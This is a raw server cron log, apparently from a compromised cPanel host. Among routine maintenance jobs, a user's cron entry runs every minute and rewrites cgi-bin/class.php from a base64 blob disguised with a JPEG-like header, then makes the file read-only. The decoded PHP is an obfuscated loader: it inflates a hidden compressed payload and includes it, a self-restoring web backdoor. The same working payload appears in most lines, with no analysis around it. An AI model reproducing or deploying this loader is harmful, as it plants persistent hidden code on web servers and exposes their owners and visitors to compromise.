Nov 10 12:12:01 server CROND[28541]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:12:01 server CROND[28542]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 12:13:01 server CROND[29357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:14:01 server CROND[30209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:15:01 server CROND[30678]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:15:01 server CROND[30679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:15:01 server CROND[30680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:15:01 server CROND[30681]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:15:01 server CROND[30682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:16:01 server CROND[31861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:17:01 server CROND[32681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:18:01 server CROND[753]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:19:01 server CROND[1456]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:20:01 server CROND[2287]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 12:20:01 server CROND[2288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:20:01 server CROND[2290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:20:01 server CROND[2291]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 12:20:01 server CROND[2293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:21:01 server CROND[3285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:22:01 server CROND[4096]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:23:01 server CROND[4801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:24:01 server CROND[5644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:25:01 server CROND[6466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:25:01 server CROND[6469]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
